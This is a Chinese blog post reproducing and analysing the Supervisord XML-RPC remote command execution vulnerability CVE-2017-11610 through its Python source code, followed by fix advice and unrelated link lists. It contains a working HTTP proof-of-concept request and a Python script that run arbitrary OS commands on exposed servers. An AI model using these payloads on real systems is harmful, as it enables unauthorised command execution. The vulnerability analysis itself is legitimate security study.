Supervisord远程命令执行漏洞(CVE-2017-11610)复现

文章首发在安全客

https://www.anquanke.com/post/id/225451

写在前面

因为工作中遇到了这个洞,简单了解后发现正好是py的源码,因此想试一下依据前辈的分析做一下简单的代码分析,找到漏洞点。网上已经有很多类似的文章,例如P神和绿盟的文章,这里只是自己做一下学习和复现,如有侵权或有问题的地方可以私信或评论。本人会第一时间解决。

Supervisord简介

Supervisor 是一个用 Python 写的进程管理工具,可以很方便的用来在 UNIX-like 系统(不支持 Windows)下启动、重启(自动重启程序)、关闭进程(不仅仅是 Python 进程)

Supervisor 是一个 C/S 模型的程序,supervisord 是 server 端,supervisorctl 是 client 端,简单理解就是client输入supervisor的指令调用server端的API从而完成一些工作,如进程的管理。

而Supervisor的Web的服务其实很多人会用的比较多,也就是supervisord的客户端,只要路由通,即可远程通过Web页面完成类似于supervisor的client端的操作。而通过Web界面的操作由XML-RPC接口实现,该漏洞也是出在XML-RPC接口对数据的处理上。

本次下载的是3.3.2版本的源码

链接:https://pypi.org/project/supervisor/3.3.2/#files

先简单看一下它的配置文件,重点看下面这些部分

  1. [unix_http_server]
  2. file=/tmp/supervisor.sock ; the path to the socket file
  3. ;chmod=0700 ; socket file mode (default 0700)
  4. ;chown=nobody:nogroup ; socket file uid:gid owner
  5. ;username=user ; default is no username (open server)
  6. ;password=123 ; default is no password (open server)
  7. ;[inet_http_server] ; inet (TCP) server disabled by default
  8. ;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
  9. ;username=user ; default is no username (open server)
  10. ;password=123 ; default is no password (open server)
  11. [supervisorctl]
  12. serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
  13. ;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
  14. ;username=chris ; should be same as in [*_http_server] if set
  15. ;password=123 ; should be same as in [*_http_server] if set
  16. ;prompt=mysupervisor ; cmd line prompt (default "supervisor")
  17. ;history_file=~/.sc_history ; use readline history if available
  18. ; The sample program section below shows all possible program subsection values.
  19. ; Create one or more 'real' program: sections to be able to control them under
  20. ; supervisor.

server端监听的是/tmp/supervisor.sock这个套接字,而client端的serverurl也是这个套接字,所以client端都是通过这个套接字并根据XML-RPC协议与server端进行的通信。另外,将 [inrt_http_server]中前面 ; 去掉即可开启Web服务,默认以TCP协议监听在9001端口上。(下面不开启用户密码认证,bind 所有网卡)

supervisor的web界面大概长这样。

利用条件

漏洞影响范围:

Supervisor version 3.1.2至Supervisor version 3.3.2

开启Web服务且9001端口可被访问

版本在漏洞影响范围内

密码为弱密码或空口令

漏洞利用

放上P牛的poc

  1. POST /RPC2 HTTP/1.1
  2. Host: localhost
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 275
  9. <?xml version="1.0"?>
  10. <methodCall>
  11. <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
  12. <params>
  13. <param>
  14. <string>touch /tmp/success</string>
  15. </param>
  16. </params>
  17. </methodCall>

访问页面抓包,cv这个poc进去,根据自己的环境稍作修改之后放包即可。

成功写入文件

wireshark的包

但是上面版本的poc是没有回显的。关于回显poc在vulhub的官方文档有提到

https://vulhub.org/#/environments/supervisor/CVE-2017-11610/

利用方式如下。

poc.py

  1. #!/usr/bin/env python3
  2. import xmlrpc.client
  3. import sys
  4. target = sys.argv[1]
  5. command = sys.argv[2]
  6. with xmlrpc.client.ServerProxy(target) as proxy:
  7. old = getattr(proxy, 'supervisor.readLog')(0,0)
  8. logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
  9. getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
  10. result = getattr(proxy, 'supervisor.readLog')(0,0)
  11. print(result[len(old):])

这个点本文就不再重点探究,下面主要复现学习分析一下这个漏洞在代码层面上是如何产生的。

漏洞分析

既然知道是XML-RPC出了问题,那么通过程序入口点然后一点点去找处理XML-RPC请求的函数,看看它是如何实现的。

先看supervisord的启动文件supervisord.py

根据前辈的poc是根据http请求发送的payload,所以跟进一下这里的 self.options.openhttpservers(self)

在options.py中定义了openhttpservers()方法

这里调用了 make_http_servers()方法,跟进一下

在ServerOptions类中定义了make_http_servers()方法,可以看到这个方法是从http.py中调用的,那么跟进看一下这个方法是如何实现的。

http.py中定义了 make_http_servers()方法

根据漏洞信息,已知是XML-RPC调用出现了问题,而 supervisor_xmlrpc_handler类就是处理RPC调用的,跟进看一下是如何实现的

在xmlrpc.py中定义了supervisor_xmlrpc_handler

在此找到了漏洞纰漏的traverse方法,在supervisor_xmlrpc_handler类中定义了 call方法,该方法返回执行完 traverse(self.rpcinterface, method, params)函数的结果,

其中在traverse函数中传入了method,params ,跟进一下看看这两个参数是什么。

supervisor_xmlrpc_handler类的 continue_request方法中发现 params, method = self.loads(data) 跟进下 loads方法。

在xmlrpc.py的最下面定义了loads方法,其将xml中的methodName和params的值分别赋值给了method和params,也就是我们上面漏洞利用过程发送POST请求时,POST请求中xml的标签名为methodName和params这两个标签的值。

比如下图中的method=supervisor.supervisord.options.warnings.linecache.os.systemparams=touch /tmp/success2 ,正常情况下,methodName=supervisor.startProcessparams=要启动的服务名称

ok,method和params参数的含义解决了,下面跟进下traverse方法。

1、path = method.split('.'). 作为分隔符对method字符串进行切片,切片的结果以列表形式赋值给path。例如 supervisor.startProcess 的结果为 ['supervisor', 'startProcess']

2、循环path,如果name的值不以 _ 开头,执行 ob = getattr(ob, name, None) , 如果name的值是方法名称,会将该方法赋值给ob。这里的for循环就像一个递归,ob会获取method列表中最后一个方法名称并在try语句里执行,比如method=supervisor.supervisord.options.warnings.linecache.os.system() 那么最后ob会获取system()并将参数params(要执行的命令)带入该方法执行并获取返回结果。

那么问题就出现在这里,在P牛的文章中也指出了:"官方开发者可能认为可调用的方法只限制在这个对象内部,所以没有做特别严格的白名单限制。" ,导致这里通过 self.rpcinterface 对任意的公共方法或递归子对象的公共方法的调用。

比如漏洞的发现者提出的调用链 self.rpcinterface.supervisor.supervisord.options.execve,因为这个poc使用时存在一些缺陷,P牛提出了一个其他的利用链(日常膜P牛): supervisor.supervisord.options.warnings.linecache.os.system()这边跟一下看看:

首先在Options类中调用了warnings方法,跟进一下。

emm 这里发现本来在上面直接import linecache 改到了 try里面,当时存在漏洞的代码是直接在上面import linecache的

跟进linecache,在linecache.py调用os

这个漏洞与java反序列化类似,只要一直寻找有import os模块的地方调用system函数即可达到执行命令的目的。

修复建议

1、升级supervisor版本

2、设置端口访问控制

3、设置复杂密码认证

参考文章

补上当时忘记贴的参考文章

https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html

http://blog.nsfocus.net/supervisord-cve-2017-11610/

Supervisord远程命令执行漏洞(CVE-2017-11610)复现的更多相关文章

  1. Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

  2. Supervisord远程命令执行漏洞(CVE-2017-11610)

    目录 Supervisor 漏洞复现 修复建议 Supervisor Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务.在配置了 ...

  3. Supervisord 远程命令执行漏洞(CVE-2017-11610)

    漏洞影响范围: Supervisor version 3.1.2至Supervisor version 3.3.2 poc 地址.https://github.com/vulhub/vulhub/tr ...

  4. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  5. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  6. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  7. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  8. Drupal 远程命令执行漏洞(CVE-2018-7600)

    名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...

  9. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

随机推荐

  1. 一千个不用 Null 的理由!

    港真,Null 貌似在哪里都是个头疼的问题,比如 Java 里让人头疼的 NullPointerException,为了避免猝不及防的空指针异常,千百年来程序猿们不得不在代码里小心翼翼的各种 if 判 ...

  2. mac 下彻底卸载node和npm

    以下链接可供参考: https://segmentfault.com/a/1190000007445643 https://www.cnblogs.com/ChenGuangW/p/11398367. ...

  3. 开发必备linux命令大全-稳赚不亏

    我们的服务一般都是在linux系统运行,因此了解一些关于linux命令是必须.接下来将一一详细介绍一些常用的linux的命令 文件操作 远程登录与操作 磁盘挂载 进程管理 启动和结束 系统性能参数查看 ...

  4. ESCMScript6(3)Promise对象

    1. Promise的含义 Promise 是异步编程的一种解决方案,比传统的解决方案--回调函数和事件--更合理和更强大.它由社区最早提出和实现,ES6 将其写进了语言标准,统一了用法,原生提供了P ...

  5. Scala学习——函数高级操作

    scala函数高级操作 一.字符串高级操作 多行字符串和插值 package top.ruandb.scala.Course06 object StringApp { def main(args: A ...

  6. Javascript闭包解析----------------v客学院技术分享

    跟java,php等编程语言一样,javascript也采用词法作用域,简单的来说就是函数的执行依赖于变量的作用域,这个作用域是在函数定义时决定的,而不是函数调用时决定的.为了实现这种词法作用域,还必 ...

  7. Debian9 无线网卡驱动安装

    https://wiki.debian.org/iwlwifi sudo vi /etc/apt/sources.list --------- ..... deb http://httpredir.d ...

  8. Windows环境安装kafka

    前言 注意事项: 需要有jdk,jdk8以上.配置好环境变量. 参看链接:https://blog.csdn.net/weixin_38004638/article/details/91893910 ...

  9. springboot多个service互相调用的事务处理(十三)

    在一个service的方法A中,调用另一个service的方法B,方法A和方法B均存在数据库插入操作,需要添加如下配置: @Transactional(rollbackFor = Exception. ...

  10. 第一篇 -- 下载并安装IDEA

    此篇讲的是安装IDEA企业版,社区版是免费的,就不多说了. 参考链接:https://www.exception.site/essay/how-to-free-use-intellij-idea-20 ...